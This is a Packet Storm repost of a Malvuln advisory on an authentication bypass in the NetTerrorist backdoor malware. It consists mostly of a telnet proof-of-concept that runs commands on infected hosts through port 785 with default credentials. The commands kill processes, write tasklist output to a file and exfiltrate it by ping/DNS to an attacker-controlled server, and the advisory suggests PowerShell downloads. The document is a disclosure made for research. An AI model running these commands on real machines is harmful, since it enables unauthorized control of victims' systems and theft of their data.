exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Backdoor.Win32.NetTerrorist MVID-2021-0081 Authentication Bypass / Code Execution

Backdoor.Win32.NetTerrorist MVID-2021-0081 Authentication Bypass / Code Execution
Posted Feb 9, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.NetTerrorist malware suffers from bypass and code execution vulnerabilities.

tags | exploit, vulnerability, code execution
systems | windows
SHA-256 | a84e847103256104dc3efdecf379b465270c3106e0b1b1c48f64df43bc8e92b7

Backdoor.Win32.NetTerrorist MVID-2021-0081 Authentication Bypass / Code Execution

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5131a9b441c9f9b20228f171c327a4f5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetTerrorist
Vulnerability: Unauthorized Remote Command Execution
Description: NetTerrorist listens on TCP port 785, it seemingly uses authentication like USER [user], PASS [pass]. Interestingly, you can just bypass authentication and run commands while ignoring any error messages. If you wish to logon the main account is "root" with password "root" which is easily guessed. Whether logged on correctly or not, when issuing commands you get errors like "JAJAAJJ 500 'EXEC' command not understood". Just ignore these messages as we can execute all types of commands on the infected system.
Type: PE32
MD5: 5131a9b441c9f9b20228f171c327a4f5
Vuln ID: MVID-2021-0081
Dropped files: Systray.exe
Disclosure: 02/09/2021

Exploit/PoC:
TELNET [Infected_Host_IP] 785

PhuCk y0u
USER root
JAJAAJJ
331 Password required for root.
PASS abc123
JAJAAJJ
530 Login incorrect.

exec cmd /k ping 8.8.8.8
JAJAAJJ
500 'EXEC': command not understood.
exec calc
JAJAAJJ
500 'EXEC': command not understood.
exec cmd /k dir
JAJAAJJ
500 'EXEC': command not understood.
exec cmd /k taskkill /im ProcessHacker.exe
JAJAAJJ
500 'EXEC': command not understood.

Execute tasklist command and write to file.

500 'EXEC': command not understood.
exec cmd /k tasklist > c:\out.txt

Grab the results using ping (OR finger.exe to DarkFinger.py C2) to ICMP exfil tunnel to a DNS server we control.
500 'EXEC': command not understood.
exec cmd /k for /f "delims=*" %a in (c:\1.txt) do ping -n 1 %a
JAJAAJJ
500 'EXEC': command not understood.

On our DNS server we see:

msdtc.exe. -> 192.168.1.10
ShellExperienceHost.exe. -> 192.168.1.10
SearchUI.exe. -> 192.168.1.10
RuntimeBroker.exe. -> 192.168.1.10
SearchIndexer.exe. -> 192.168.1.10
vm3dservice.exe. -> 192.168.1.10
cmd.exe. -> 192.168.1.10
conhost.exe. -> 192.168.1.10
ApplicationFrameHost.exe. -> 192.168.1.10
Backdoor.Win32.NetTerrori. -> 192.168.1.10
tasklist.exe. -> 192.168.1.10

Issue taskkill to terminate the backdoor if you got the PID:

PhuCk y0u
exec cmd /c taskkill /f /pid 392
JAJAAJJ
500 'EXEC' command not understood.

Connection to host lost.

You can also try to execute PowerShell to download your own filez.


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close